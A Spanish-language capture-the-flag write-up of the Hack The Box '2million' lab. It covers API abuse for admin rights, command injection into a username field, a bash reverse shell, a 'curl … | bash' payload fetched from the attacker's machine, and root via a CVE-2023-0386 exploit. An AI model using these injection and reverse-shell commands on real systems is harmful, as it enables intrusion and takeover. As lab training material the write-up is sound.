Respuesta
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3. Tenemos una web con dos formularios:
vamos a ver el codigo fuente de la pagina de “Invite Code”, y podemos ver que hay un script que valida los codigos:
6. tambein podemos ver que hay un script sobre los codigos de invitacion:
![[Pasted image 20230713201227.png]]
vamos a verlo
```javaScript
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
si nos fijamos podemos ver que esta ofuscado, por lo que vamos a hacerlo mas legible con de4js,
function verifyInviteCode(code) { var formData = { "code": code }; $.ajax({ type: "POST", dataType: "json", data: formData, url: '/api/v1/invite/verify', success: function (response) { console.log(response) }, error: function (response) { console.log(response) } })}function makeInviteCode() { $.ajax({ type: "POST", dataType: "json", url: '/api/v1/invite/how/to/generate', success: function (response) { console.log(response) }, error: function (response) { console.log(response) } })}
Viendo esto podemos deducir que podemos hacer una peticion POST a la direccion: http://2million.htb/api/v1/invite/how/to/generate
y agregarle las cabeceras y datos oportunos, este caso solamente tenemos que hacer una petición ya que debería de darnos un código, en este caso nos lo da cifrado
{ "0": 200, "success": 1, "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "enctype": "ROT13" }, "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
hacemos uso de rot13, y obtenemos:
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr→ In order to generate the invite code, make a POST request to /api/v1/invite/generate
y vemos un mensaje de error Invalid content type debemos especificarle el tipo de contenido, que suele ser
LINK
en este caso:
content-type:application/json
curl -X PUT --cookie "PHPSESSID=gic3k0ocl74h9frc21ivvsqum1" -H 'content-type:application/json' http://2million.htb/api/v1/admin/settings/update | jq
ponemos un mail y nos crea el vpn, y si nos fijamos podemos deducir que para crear el vpn, el server, puede estar ejecutando algun comando tipo exec por lo que podriamos injectar codigo de esta forma, **la parte de “ls”
curl -X POST --cookie "PHPSESSID=gic3k0ocl74h9frc21ivvsqum1" -H 'content-type:application/json' -d '{"username":"marce;ls;"}' http://2million.htb/api/v1/admin/vpn/generate
24. ahora podemos mandar una revershell a nuestro equipo para obtener acceso
bash -i >& /dev/tcp/IP/PUERTO 0>&1
para poder pasarlo debemos hacer un pequeño truco, pasamos a base64 el comando y lo decodeamos en el payload de esta forma:
otra forma seria creando un servidor con python, donde haya un archivo con la revershell:
sudo python3 -m http.server 80
y luego poniendo este comando
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=gic3k0ocl74h9frc21ivvsqum1" -H 'content-type: application/json' -d '{"username":"marce;curl -X GET 10.10.14.212/payload.sh | bash;"}
previamente estaremos en escucha y ya temos una revershell, a la que le haremos un Tratamiento de la tty
si investiamos vemos que en el direcorio admin ya tenemos el sploit que hay que usar para ello vamos a seguir las instrucciones: https://github.com/sxlmnwb/CVE-2023-0386
podemos hacer uso de bash -i para tener acceso a otra terminal de forma rapida
ya temos root
y podemos ver la flag del usuario admin, como la de root